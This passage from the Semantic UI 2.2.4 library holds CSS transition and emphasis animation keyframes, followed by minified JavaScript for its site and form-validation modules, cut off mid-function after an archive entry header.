  -webkit-transform-origin: center right;
  -ms-transform-origin: center right;
  transform-origin: center right;
}

.transition[class*="slide right"].in {
  -webkit-animation-name: slideInX;
  animation-name: slideInX;
  -webkit-transform-origin: center left;
  -ms-transform-origin: center left;
  transform-origin: center left;
}

.transition.slide.out,
.transition[class*="slide down"].out {
  -webkit-animation-name: slideOutY;
  animation-name: slideOutY;
  -webkit-transform-origin: top center;
  -ms-transform-origin: top center;
  transform-origin: top center;
}

.transition[class*="slide up"].out {
  -webkit-animation-name: slideOutY;
  animation-name: slideOutY;
  -webkit-transform-origin: bottom center;
  -ms-transform-origin: bottom center;
  transform-origin: bottom center;
}

.transition[class*="slide left"].out {
  -webkit-animation-name: slideOutX;
  animation-name: slideOutX;
  -webkit-transform-origin: center right;
  -ms-transform-origin: center right;
  transform-origin: center right;
}

.transition[class*="slide right"].out {
  -webkit-animation-name: slideOutX;
  animation-name: slideOutX;
  -webkit-transform-origin: center left;
  -ms-transform-origin: center left;
  transform-origin: center left;
}

/* In */

@-webkit-keyframes slideInY {
  0% {
    opacity: 0;
    -webkit-transform: scaleY(0);
    transform: scaleY(0);
  }

  100% {
    opacity: 1;
    -webkit-transform: scaleY(1);
    transform: scaleY(1);
  }
}

@keyframes slideInY {
  0% {
    opacity: 0;
    -webkit-transform: scaleY(0);
    transform: scaleY(0);
  }

  100% {
    opacity: 1;
    -webkit-transform: scaleY(1);
    transform: scaleY(1);
  }
}

@-webkit-keyframes slideInX {
  0% {
    opacity: 0;
    -webkit-transform: scaleX(0);
    transform: scaleX(0);
  }

  100% {
    opacity: 1;
    -webkit-transform: scaleX(1);
    transform: scaleX(1);
  }
}

@keyframes slideInX {
  0% {
    opacity: 0;
    -webkit-transform: scaleX(0);
    transform: scaleX(0);
  }

  100% {
    opacity: 1;
    -webkit-transform: scaleX(1);
    transform: scaleX(1);
  }
}

/* Out */

@-webkit-keyframes slideOutY {
  0% {
    opacity: 1;
    -webkit-transform: scaleY(1);
    transform: scaleY(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scaleY(0);
    transform: scaleY(0);
  }
}

@keyframes slideOutY {
  0% {
    opacity: 1;
    -webkit-transform: scaleY(1);
    transform: scaleY(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scaleY(0);
    transform: scaleY(0);
  }
}

@-webkit-keyframes slideOutX {
  0% {
    opacity: 1;
    -webkit-transform: scaleX(1);
    transform: scaleX(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scaleX(0);
    transform: scaleX(0);
  }
}

@keyframes slideOutX {
  0% {
    opacity: 1;
    -webkit-transform: scaleX(1);
    transform: scaleX(1);
  }

  100% {
    opacity: 0;
    -webkit-transform: scaleX(0);
    transform: scaleX(0);
  }
}

/*--------------
     Swing
---------------*/

.transition.swing {
  -webkit-animation-duration: 800ms;
  animation-duration: 800ms;
}

.transition[class*="swing down"].in {
  -webkit-animation-name: swingInX;
  animation-name: swingInX;
  -webkit-transform-origin: top center;
  -ms-transform-origin: top center;
  transform-origin: top center;
}

.transition[class*="swing up"].in {
  -webkit-animation-name: swingInX;
  animation-name: swingInX;
  -webkit-transform-origin: bottom center;
  -ms-transform-origin: bottom center;
  transform-origin: bottom center;
}

.transition[class*="swing left"].in {
  -webkit-animation-name: swingInY;
  animation-name: swingInY;
  -webkit-transform-origin: center right;
  -ms-transform-origin: center right;
  transform-origin: center right;
}

.transition[class*="swing right"].in {
  -webkit-animation-name: swingInY;
  animation-name: swingInY;
  -webkit-transform-origin: center left;
  -ms-transform-origin: center left;
  transform-origin: center left;
}

.transition.swing.out,
.transition[class*="swing down"].out {
  -webkit-animation-name: swingOutX;
  animation-name: swingOutX;
  -webkit-transform-origin: top center;
  -ms-transform-origin: top center;
  transform-origin: top center;
}

.transition[class*="swing up"].out {
  -webkit-animation-name: swingOutX;
  animation-name: swingOutX;
  -webkit-transform-origin: bottom center;
  -ms-transform-origin: bottom center;
  transform-origin: bottom center;
}

.transition[class*="swing left"].out {
  -webkit-animation-name: swingOutY;
  animation-name: swingOutY;
  -webkit-transform-origin: center right;
  -ms-transform-origin: center right;
  transform-origin: center right;
}

.transition[class*="swing right"].out {
  -webkit-animation-name: swingOutY;
  animation-name: swingOutY;
  -webkit-transform-origin: center left;
  -ms-transform-origin: center left;
  transform-origin: center left;
}

/* In */

@-webkit-keyframes swingInX {
  0% {
    -webkit-transform: perspective(1000px) rotateX(90deg);
    transform: perspective(1000px) rotateX(90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(1000px) rotateX(-30deg);
    transform: perspective(1000px) rotateX(-30deg);
    opacity: 1;
  }

  60% {
    -webkit-transform: perspective(1000px) rotateX(15deg);
    transform: perspective(1000px) rotateX(15deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateX(-7.5deg);
    transform: perspective(1000px) rotateX(-7.5deg);
  }

  100% {
    -webkit-transform: perspective(1000px) rotateX(0deg);
    transform: perspective(1000px) rotateX(0deg);
  }
}

@keyframes swingInX {
  0% {
    -webkit-transform: perspective(1000px) rotateX(90deg);
    transform: perspective(1000px) rotateX(90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(1000px) rotateX(-30deg);
    transform: perspective(1000px) rotateX(-30deg);
    opacity: 1;
  }

  60% {
    -webkit-transform: perspective(1000px) rotateX(15deg);
    transform: perspective(1000px) rotateX(15deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateX(-7.5deg);
    transform: perspective(1000px) rotateX(-7.5deg);
  }

  100% {
    -webkit-transform: perspective(1000px) rotateX(0deg);
    transform: perspective(1000px) rotateX(0deg);
  }
}

@-webkit-keyframes swingInY {
  0% {
    -webkit-transform: perspective(1000px) rotateY(-90deg);
    transform: perspective(1000px) rotateY(-90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(1000px) rotateY(30deg);
    transform: perspective(1000px) rotateY(30deg);
    opacity: 1;
  }

  60% {
    -webkit-transform: perspective(1000px) rotateY(-17.5deg);
    transform: perspective(1000px) rotateY(-17.5deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateY(7.5deg);
    transform: perspective(1000px) rotateY(7.5deg);
  }

  100% {
    -webkit-transform: perspective(1000px) rotateY(0deg);
    transform: perspective(1000px) rotateY(0deg);
  }
}

@keyframes swingInY {
  0% {
    -webkit-transform: perspective(1000px) rotateY(-90deg);
    transform: perspective(1000px) rotateY(-90deg);
    opacity: 0;
  }

  40% {
    -webkit-transform: perspective(1000px) rotateY(30deg);
    transform: perspective(1000px) rotateY(30deg);
    opacity: 1;
  }

  60% {
    -webkit-transform: perspective(1000px) rotateY(-17.5deg);
    transform: perspective(1000px) rotateY(-17.5deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateY(7.5deg);
    transform: perspective(1000px) rotateY(7.5deg);
  }

  100% {
    -webkit-transform: perspective(1000px) rotateY(0deg);
    transform: perspective(1000px) rotateY(0deg);
  }
}

/* Out */

@-webkit-keyframes swingOutX {
  0% {
    -webkit-transform: perspective(1000px) rotateX(0deg);
    transform: perspective(1000px) rotateX(0deg);
  }

  40% {
    -webkit-transform: perspective(1000px) rotateX(-7.5deg);
    transform: perspective(1000px) rotateX(-7.5deg);
  }

  60% {
    -webkit-transform: perspective(1000px) rotateX(17.5deg);
    transform: perspective(1000px) rotateX(17.5deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateX(-30deg);
    transform: perspective(1000px) rotateX(-30deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(1000px) rotateX(90deg);
    transform: perspective(1000px) rotateX(90deg);
    opacity: 0;
  }
}

@keyframes swingOutX {
  0% {
    -webkit-transform: perspective(1000px) rotateX(0deg);
    transform: perspective(1000px) rotateX(0deg);
  }

  40% {
    -webkit-transform: perspective(1000px) rotateX(-7.5deg);
    transform: perspective(1000px) rotateX(-7.5deg);
  }

  60% {
    -webkit-transform: perspective(1000px) rotateX(17.5deg);
    transform: perspective(1000px) rotateX(17.5deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateX(-30deg);
    transform: perspective(1000px) rotateX(-30deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(1000px) rotateX(90deg);
    transform: perspective(1000px) rotateX(90deg);
    opacity: 0;
  }
}

@-webkit-keyframes swingOutY {
  0% {
    -webkit-transform: perspective(1000px) rotateY(0deg);
    transform: perspective(1000px) rotateY(0deg);
  }

  40% {
    -webkit-transform: perspective(1000px) rotateY(7.5deg);
    transform: perspective(1000px) rotateY(7.5deg);
  }

  60% {
    -webkit-transform: perspective(1000px) rotateY(-10deg);
    transform: perspective(1000px) rotateY(-10deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateY(30deg);
    transform: perspective(1000px) rotateY(30deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(1000px) rotateY(-90deg);
    transform: perspective(1000px) rotateY(-90deg);
    opacity: 0;
  }
}

@keyframes swingOutY {
  0% {
    -webkit-transform: perspective(1000px) rotateY(0deg);
    transform: perspective(1000px) rotateY(0deg);
  }

  40% {
    -webkit-transform: perspective(1000px) rotateY(7.5deg);
    transform: perspective(1000px) rotateY(7.5deg);
  }

  60% {
    -webkit-transform: perspective(1000px) rotateY(-10deg);
    transform: perspective(1000px) rotateY(-10deg);
  }

  80% {
    -webkit-transform: perspective(1000px) rotateY(30deg);
    transform: perspective(1000px) rotateY(30deg);
    opacity: 1;
  }

  100% {
    -webkit-transform: perspective(1000px) rotateY(-90deg);
    transform: perspective(1000px) rotateY(-90deg);
    opacity: 0;
  }
}

/*******************************
       Static Animations
*******************************/

/*--------------
    Emphasis
---------------*/

.flash.transition {
  -webkit-animation-duration: 750ms;
  animation-duration: 750ms;
  -webkit-animation-name: flash;
  animation-name: flash;
}

.shake.transition {
  -webkit-animation-duration: 750ms;
  animation-duration: 750ms;
  -webkit-animation-name: shake;
  animation-name: shake;
}

.bounce.transition {
  -webkit-animation-duration: 750ms;
  animation-duration: 750ms;
  -webkit-animation-name: bounce;
  animation-name: bounce;
}

.tada.transition {
  -webkit-animation-duration: 750ms;
  animation-duration: 750ms;
  -webkit-animation-name: tada;
  animation-name: tada;
}

.pulse.transition {
  -webkit-animation-duration: 500ms;
  animation-duration: 500ms;
  -webkit-animation-name: pulse;
  animation-name: pulse;
}

.jiggle.transition {
  -webkit-animation-duration: 750ms;
  animation-duration: 750ms;
  -webkit-animation-name: jiggle;
  animation-name: jiggle;
}

/* Flash */

@-webkit-keyframes flash {
  0%, 50%, 100% {
    opacity: 1;
  }

  25%, 75% {
    opacity: 0;
  }
}

@keyframes flash {
  0%, 50%, 100% {
    opacity: 1;
  }

  25%, 75% {
    opacity: 0;
  }
}

/* Shake */

@-webkit-keyframes shake {
  0%, 100% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  10%, 30%, 50%, 70%, 90% {
    -webkit-transform: translateX(-10px);
    transform: translateX(-10px);
  }

  20%, 40%, 60%, 80% {
    -webkit-transform: translateX(10px);
    transform: translateX(10px);
  }
}

@keyframes shake {
  0%, 100% {
    -webkit-transform: translateX(0);
    transform: translateX(0);
  }

  10%, 30%, 50%, 70%, 90% {
    -webkit-transform: translateX(-10px);
    transform: translateX(-10px);
  }

  20%, 40%, 60%, 80% {
    -webkit-transform: translateX(10px);
    transform: translateX(10px);
  }
}

/* Bounce */

@-webkit-keyframes bounce {
  0%, 20%, 50%, 80%, 100% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  40% {
    -webkit-transform: translateY(-30px);
    transform: translateY(-30px);
  }

  60% {
    -webkit-transform: translateY(-15px);
    transform: translateY(-15px);
  }
}

@keyframes bounce {
  0%, 20%, 50%, 80%, 100% {
    -webkit-transform: translateY(0);
    transform: translateY(0);
  }

  40% {
    -webkit-transform: translateY(-30px);
    transform: translateY(-30px);
  }

  60% {
    -webkit-transform: translateY(-15px);
    transform: translateY(-15px);
  }
}

/* Tada */

@-webkit-keyframes tada {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  10%, 20% {
    -webkit-transform: scale(0.9) rotate(-3deg);
    transform: scale(0.9) rotate(-3deg);
  }

  30%, 50%, 70%, 90% {
    -webkit-transform: scale(1.1) rotate(3deg);
    transform: scale(1.1) rotate(3deg);
  }

  40%, 60%, 80% {
    -webkit-transform: scale(1.1) rotate(-3deg);
    transform: scale(1.1) rotate(-3deg);
  }

  100% {
    -webkit-transform: scale(1) rotate(0);
    transform: scale(1) rotate(0);
  }
}

@keyframes tada {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
  }

  10%, 20% {
    -webkit-transform: scale(0.9) rotate(-3deg);
    transform: scale(0.9) rotate(-3deg);
  }

  30%, 50%, 70%, 90% {
    -webkit-transform: scale(1.1) rotate(3deg);
    transform: scale(1.1) rotate(3deg);
  }

  40%, 60%, 80% {
    -webkit-transform: scale(1.1) rotate(-3deg);
    transform: scale(1.1) rotate(-3deg);
  }

  100% {
    -webkit-transform: scale(1) rotate(0);
    transform: scale(1) rotate(0);
  }
}

/* Pulse */

@-webkit-keyframes pulse {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
    opacity: 1;
  }

  50% {
    -webkit-transform: scale(0.9);
    transform: scale(0.9);
    opacity: 0.7;
  }

  100% {
    -webkit-transform: scale(1);
    transform: scale(1);
    opacity: 1;
  }
}

@keyframes pulse {
  0% {
    -webkit-transform: scale(1);
    transform: scale(1);
    opacity: 1;
  }

  50% {
    -webkit-transform: scale(0.9);
    transform: scale(0.9);
    opacity: 0.7;
  }

  100% {
    -webkit-transform: scale(1);
    transform: scale(1);
    opacity: 1;
  }
}

/* Rubberband */

@-webkit-keyframes jiggle {
  0% {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  30% {
    -webkit-transform: scale3d(1.25, 0.75, 1);
    transform: scale3d(1.25, 0.75, 1);
  }

  40% {
    -webkit-transform: scale3d(0.75, 1.25, 1);
    transform: scale3d(0.75, 1.25, 1);
  }

  50% {
    -webkit-transform: scale3d(1.15, 0.85, 1);
    transform: scale3d(1.15, 0.85, 1);
  }

  65% {
    -webkit-transform: scale3d(0.95, 1.05, 1);
    transform: scale3d(0.95, 1.05, 1);
  }

  75% {
    -webkit-transform: scale3d(1.05, 0.95, 1);
    transform: scale3d(1.05, 0.95, 1);
  }

  100% {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

@keyframes jiggle {
  0% {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }

  30% {
    -webkit-transform: scale3d(1.25, 0.75, 1);
    transform: scale3d(1.25, 0.75, 1);
  }

  40% {
    -webkit-transform: scale3d(0.75, 1.25, 1);
    transform: scale3d(0.75, 1.25, 1);
  }

  50% {
    -webkit-transform: scale3d(1.15, 0.85, 1);
    transform: scale3d(1.15, 0.85, 1);
  }

  65% {
    -webkit-transform: scale3d(0.95, 1.05, 1);
    transform: scale3d(0.95, 1.05, 1);
  }

  75% {
    -webkit-transform: scale3d(1.05, 0.95, 1);
    transform: scale3d(1.05, 0.95, 1);
  }

  100% {
    -webkit-transform: scale3d(1, 1, 1);
    transform: scale3d(1, 1, 1);
  }
}

/*******************************
         Site Overrides
*******************************/PK! �5�3�3dist/semantic.min.jsnu&1i� /*
 * # Semantic UI - 2.2.4
 * https://github.com/Semantic-Org/Semantic-UI
 * http://www.semantic-ui.com/
 *
 * Copyright 2014 Contributors
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */
!function(e,t,n,i){e.site=e.fn.site=function(o){var a,r,s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1),f=e.isPlainObject(o)?e.extend(!0,{},e.site.settings,o):e.extend({},e.site.settings),m=f.namespace,g=f.error,p="module-"+m,h=e(n),v=h,b=this,y=v.data(p);return a={initialize:function(){a.instantiate()},instantiate:function(){a.verbose("Storing instance of site",a),y=a,v.data(p,a)},normalize:function(){a.fix.console(),a.fix.requestAnimationFrame()},fix:{console:function(){a.debug("Normalizing window.console"),console!==i&&console.log!==i||(a.verbose("Console not available, normalizing events"),a.disable.console()),"undefined"!=typeof console.group&&"undefined"!=typeof console.groupEnd&&"undefined"!=typeof console.groupCollapsed||(a.verbose("Console group not available, normalizing events"),t.console.group=function(){},t.console.groupEnd=function(){},t.console.groupCollapsed=function(){}),"undefined"==typeof console.markTimeline&&(a.verbose("Mark timeline not available, normalizing events"),t.console.markTimeline=function(){})},consoleClear:function(){a.debug("Disabling programmatic console clearing"),t.console.clear=function(){}},requestAnimationFrame:function(){a.debug("Normalizing requestAnimationFrame"),t.requestAnimationFrame===i&&(a.debug("RequestAnimationFrame not available, normalizing event"),t.requestAnimationFrame=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)})}},moduleExists:function(t){return e.fn[t]!==i&&e.fn[t].settings!==i},enabled:{modules:function(t){var n=[];return t=t||f.modules,e.each(t,function(e,t){a.moduleExists(t)&&n.push(t)}),n}},disabled:{modules:function(t){var n=[];return t=t||f.modules,e.each(t,function(e,t){a.moduleExists(t)||n.push(t)}),n}},change:{setting:function(t,n,o,r){o="string"==typeof o?"all"===o?f.modules:[o]:o||f.modules,r=r===i||r,e.each(o,function(i,o){var s,l=!a.moduleExists(o)||(e.fn[o].settings.namespace||!1);a.moduleExists(o)&&(a.verbose("Changing default setting",t,n,o),e.fn[o].settings[t]=n,r&&l&&(s=e(":data(module-"+l+")"),s.length>0&&(a.verbose("Modifying existing settings",s),s[o]("setting",t,n))))})},settings:function(t,n,o){n="string"==typeof n?[n]:n||f.modules,o=o===i||o,e.each(n,function(n,i){var r;a.moduleExists(i)&&(a.verbose("Changing default setting",t,i),e.extend(!0,e.fn[i].settings,t),o&&m&&(r=e(":data(module-"+m+")"),r.length>0&&(a.verbose("Modifying existing settings",r),r[i]("setting",t))))})}},enable:{console:function(){a.console(!0)},debug:function(e,t){e=e||f.modules,a.debug("Enabling debug for modules",e),a.change.setting("debug",!0,e,t)},verbose:function(e,t){e=e||f.modules,a.debug("Enabling verbose debug for modules",e),a.change.setting("verbose",!0,e,t)}},disable:{console:function(){a.console(!1)},debug:function(e,t){e=e||f.modules,a.debug("Disabling debug for modules",e),a.change.setting("debug",!1,e,t)},verbose:function(e,t){e=e||f.modules,a.debug("Disabling verbose debug for modules",e),a.change.setting("verbose",!1,e,t)}},console:function(e){if(e){if(y.cache.console===i)return void a.error(g.console);a.debug("Restoring console function"),t.console=y.cache.console}else a.debug("Disabling console function"),y.cache.console=t.console,t.console={clear:function(){},error:function(){},group:function(){},groupCollapsed:function(){},groupEnd:function(){},info:function(){},log:function(){},markTimeline:function(){},warn:function(){}}},destroy:function(){a.verbose("Destroying previous site for",v),v.removeData(p)},cache:{},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,a,t);else{if(n===i)return a[t];a[t]=n}},debug:function(){f.debug&&(f.performance?a.performance.log(arguments):(a.debug=Function.prototype.bind.call(console.info,console,f.name+":"),a.debug.apply(console,arguments)))},verbose:function(){f.verbose&&f.debug&&(f.performance?a.performance.log(arguments):(a.verbose=Function.prototype.bind.call(console.info,console,f.name+":"),a.verbose.apply(console,arguments)))},error:function(){a.error=Function.prototype.bind.call(console.error,console,f.name+":"),a.error.apply(console,arguments)},performance:{log:function(e){var t,n,i;f.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Element:b,Name:e[0],Arguments:[].slice.call(e,1)||"","Execution Time":n})),clearTimeout(a.performance.timer),a.performance.timer=setTimeout(a.performance.display,500)},display:function(){var t=f.name+":",n=0;s=!1,clearTimeout(a.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,o){var s,l,c,u=y;return n=n||d,o=b||o,"string"==typeof t&&u!==i&&(t=t.split(/[\. ]/),s=t.length-1,e.each(t,function(n,o){var r=n!=s?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(u[r])&&n!=s)u=u[r];else{if(u[r]!==i)return l=u[r],!1;if(!e.isPlainObject(u[o])||n==s)return u[o]!==i?(l=u[o],!1):(a.error(g.method,t),!1);u=u[o]}})),e.isFunction(l)?c=l.apply(o,n):l!==i&&(c=l),e.isArray(r)?r.push(c):r!==i?r=[r,c]:c!==i&&(r=c),l}},u?(y===i&&a.initialize(),a.invoke(c)):(y!==i&&a.destroy(),a.initialize()),r!==i?r:this},e.site.settings={name:"Site",namespace:"site",error:{console:"Console cannot be restored, most likely it was overwritten outside of module",method:"The method you called is not defined."},debug:!1,verbose:!1,performance:!0,modules:["accordion","api","checkbox","dimmer","dropdown","embed","form","modal","nag","popup","rating","shape","sidebar","state","sticky","tab","transition","visit","visibility"],siteNamespace:"site",namespaceStub:{cache:{},config:{},sections:{},section:{},utilities:{}}},e.extend(e.expr[":"],{data:e.expr.createPseudo?e.expr.createPseudo(function(t){return function(n){return!!e.data(n,t)}}):function(t,n,i){return!!e.data(t,i[3])}})}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.form=function(t){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u=arguments[1],d="string"==typeof c,f=[].slice.call(arguments,1);return a.each(function(){var m,g,p,h,v,b,y,x,C,w,k,S,T,A,R,P,E,F,O=e(this),D=this,q=[],j=!1;F={initialize:function(){F.get.settings(),d?(E===i&&F.instantiate(),F.invoke(c)):(E!==i&&E.invoke("destroy"),F.verbose("Initializing form validation",O,x),F.bindEvents(),F.set.defaults(),F.instantiate())},instantiate:function(){F.verbose("Storing instance of module",F),E=F,O.data(R,F)},destroy:function(){F.verbose("Destroying previous module",E),F.removeEvents(),O.removeData(R)},refresh:function(){F.verbose("Refreshing selector cache"),m=O.find(k.field),g=O.find(k.group),p=O.find(k.message),h=O.find(k.prompt),v=O.find(k.submit),b=O.find(k.clear),y=O.find(k.reset)},submit:function(){F.verbose("Submitting form",O),O.submit()},attachEvents:function(t,n){n=n||"submit",e(t).on("click"+P,function(e){F[n](),e.preventDefault()})},bindEvents:function(){F.verbose("Attaching form events"),O.on("submit"+P,F.validate.form).on("blur"+P,k.field,F.event.field.blur).on("click"+P,k.submit,F.submit).on("click"+P,k.reset,F.reset).on("click"+P,k.clear,F.clear),x.keyboardShortcuts&&O.on("keydown"+P,k.field,F.event.field.keydown),m.each(function(){var t=e(this),n=t.prop("type"),i=F.get.changeEvent(n,t);e(this).on(i+P,F.event.field.change)})},clear:function(){m.each(function(){var t=e(this),n=t.parent(),i=t.closest(g),o=i.find(k.prompt),a=t.data(w.defaultValue)||"",r=n.is(k.uiCheckbox),s=n.is(k.uiDropdown),l=i.hasClass(S.error);l&&(F.verbose("Resetting error on field",i),i.removeClass(S.error),o.remove()),s?(F.verbose("Resetting dropdown value",n,a),n.dropdown("clear")):r?t.prop("checked",!1):(F.verbose("Resetting field value",t,a),t.val(""))})},reset:function(){m.each(function(){var t=e(this),n=t.parent(),o=t.closest(g),a=o.find(k.prompt),r=t.data(w.defaultValue),s=n.is(k.uiCheckbox),l=n.is(k.uiDropdown),c=o.hasClass(S.error);r!==i&&(c&&(F.verbose("Resetting error on field",o),o.removeClass(S.error),a.remove()),l?(F.verbose("Resetting dropdown value",n,r),n.dropdown("restore defaults")):s?(F.verbose("Resetting checkbox value",n,r),t.prop("checked",r)):(F.verbose("Resetting field value",t,r),t.val(r)))})},is:{bracketedRule:function(e){return e.type&&e.type.match(x.regExp.bracket)},empty:function(e){return!e||0===e.length||(e.is('input[type="checkbox"]')?!e.is(":checked"):F.is.blank(e))},blank:function(t){return""===e.trim(t.val())},valid:function(){var t=!0;return F.verbose("Checking if form is valid"),e.each(C,function(e,n){F.validate.field(n,e)||(t=!1)}),t}},removeEvents:function(){O.off(P),m.off(P),v.off(P),m.off(P)},event:{field:{keydown:function(t){var n=e(this),i=t.which,o=n.is(k.input),a=n.is(k.checkbox),r=n.closest(k.uiDropdown).length>0,s={enter:13,escape:27};i==s.escape&&(F.verbose("Escape key pressed blurring field"),n.blur()),t.ctrlKey||i!=s.enter||!o||r||a||(j||(n.one("keyup"+P,F.event.field.keyup),F.submit(),F.debug("Enter pressed on input submitting form")),j=!0)},keyup:function(){j=!1},blur:function(t){var n=e(this),i=n.closest(g),o=F.get.validation(n);i.hasClass(S.error)?(F.debug("Revalidating field",n,o),o&&F.validate.field(o)):"blur"!=x.on&&"change"!=x.on||o&&F.validate.field(o)},change:function(t){var n=e(this),i=n.closest(g),o=F.get.validation(n);("change"==x.on||i.hasClass(S.error)&&x.revalidate)&&(clearTimeout(F.timer),F.timer=setTimeout(function(){F.debug("Revalidating field",n,F.get.validation(n)),F.validate.field(o)},x.delay))}}},get:{ancillaryValue:function(e){return!(!e.type||!e.value&&!F.is.bracketedRule(e))&&(e.value!==i?e.value:e.type.match(x.regExp.bracket)[1]+"")},ruleName:function(e){return F.is.bracketedRule(e)?e.type.replace(e.type.match(x.regExp.bracket)[0],""):e.type},changeEvent:function(e,t){return"checkbox"==e||"radio"==e||"hidden"==e||t.is("select")?"change":F.get.inputEvent()},inputEvent:function(){return n.createElement("input").oninput!==i?"input":n.createElement("input").onpropertychange!==i?"propertychange":"keyup"},prompt:function(e,t){var n,i,o,a=F.get.ruleName(e),r=F.get.ancillaryValue(e),s=e.prompt||x.prompt[a]||x.text.unspecifiedRule,l=s.search("{value}")!==-1,c=s.search("{name}")!==-1;return(c||l)&&(i=F.get.field(t.identifier)),l&&(s=s.replace("{value}",i.val())),c&&(n=i.closest(k.group).find("label").eq(0),o=1==n.length?n.text():i.prop("placeholder")||x.text.unspecifiedField,s=s.replace("{name}",o)),s=s.replace("{identifier}",t.identifier),s=s.replace("{ruleValue}",r),e.prompt||F.verbose("Using default validation prompt for type",s,a),s},settings:function(){if(e.isPlainObject(t)){var n,o=Object.keys(t),a=o.length>0&&(t[o[0]].identifier!==i&&t[o[0]].rules!==i);a?(x=e.extend(!0,{},e.fn.form.settings,u),C=e.extend({},e.fn.form.settings.defaults,t),F.error(x.error.oldSyntax,D),F.verbose("Extending settings from legacy parameters",C,x)):(t.fields&&(n=Object.keys(t.fields),("string"==typeof t.fields[n[0]]||e.isArray(t.fields[n[0]]))&&e.each(t.fields,function(n,i){"string"==typeof i&&(i=[i]),t.fields[n]={rules:[]},e.each(i,function(e,i){t.fields[n].rules.push({type:i})})})),x=e.extend(!0,{},e.fn.form.settings,t),C=e.extend({},e.fn.form.settings.defaults,x.fields),F.verbose("Extending settings",C,x))}else x=e.fn.form.settings,C=e.fn.form.settings.defaults,F.verbose("Using default form validation",C,x);A=x.namespace,w=x.metadata,k=x.selector,S=x.className,T=x.error,R="module-"+A,P="."+A,E=O.data(R),F.refresh()},field:function(t){return F.verbose("Finding field with identifier",t),m.filter("#"+t).length>0?m.filter("#"+t):m.filter('[name="'+t+'"]').length>0?m.filter('[name="'+t+'"]'):m.filter('[name="'+t+'[]"]').length>0?m.filter('[name="'+t+'[]"]'):m.filter("[data-"+w.validate+'="'+t+'"]').length>0?m.filter("[data-"+w.validate+'="'+t+'"]'):e("<input/>")},fields:function(t){var n=e();return e.each(t,function(e,t){n=n.add(F.get.field(t))}),n},validation:function(t){var n,i;return!!C&&(e.each(C,function(e,o){i=o.identifier||e,F.get.field(i)[0]==t[0]&&(o.identifier=i,n=o)}),n||!1)},value:function(e){var t,n=[];return n.push(e),t=F.get.values.call(D,n),t[e]},values:function(t){var n=e.isArray(t)?F.get.fields(t):m,i={};return n.each(function(t,n){var o=e(n),a=(o.prop("type"),o.prop("name")),r=o.val(),s=o.is(k.checkbox),l=o.is(k.radio),c=a.indexOf("[]")!==-1,u=!!s&&o.is(":checked");a&&(c?(a=a.replace("[]",""),i[a]||(i[a]=[]),s?u?i[a].push(r||!0):i[a].push(!1):i[a].push(r)):l?u&&(i[a]=r):s?u?i[a]=r||!0:i[a]=!1:i[a]=r)}),i}},has:{field:function(e){return F.verbose("Checking for existence of a field with identifier",e),"string"!=typeof e&&F.error(T.identifier,e),m.filter("#"+e).length>0||(m.filter('[name="'+e+'"]').length>0||m.filter("[data-"+w.validate+'="'+e+'"]').length>0)}},add:{prompt:function(t,n){var o=F.get.field(t),a=o.closest(g),r=a.children(k.prompt),s=0!==r.length;n="string"==typeof n?[n]:n,F.verbose("Adding field error state",t),a.addClass(S.error),x.inline&&(s||(r=x.templates.prompt(n),r.appendTo(a)),r.html(n[0]),s?F.verbose("Inline errors are disabled, no inline error added",t):x.transition&&e.fn.transition!==i&&O.transition("is supported")?(F.verbose("Displaying error with css transition",x.transition),r.transition(x.transition+" in",x.duration)):(F.verbose("Displaying error with fallback javascript animation"),r.fadeIn(x.duration)))},errors:function(e){F.debug("Adding form error messages",e),F.set.error(),p.html(x.templates.error(e))}},remove:{prompt:function(t){var n=F.get.field(t),o=n.closest(g),a=o.children(k.prompt);o.removeClass(S.error),x.inline&&a.is(":visible")&&(F.verbose("Removing prompt for field",t),x.transition&&e.fn.transition!==i&&O.transition("is supported")?a.transition(x.transition+" out",x.duration,function(){a.remove()}):a.fadeOut(x.duration,function(){a.remove()}))}},set:{success:function(){O.removeClass(S.error).addClass(S.success)},defaults:function(){m.each(function(){var 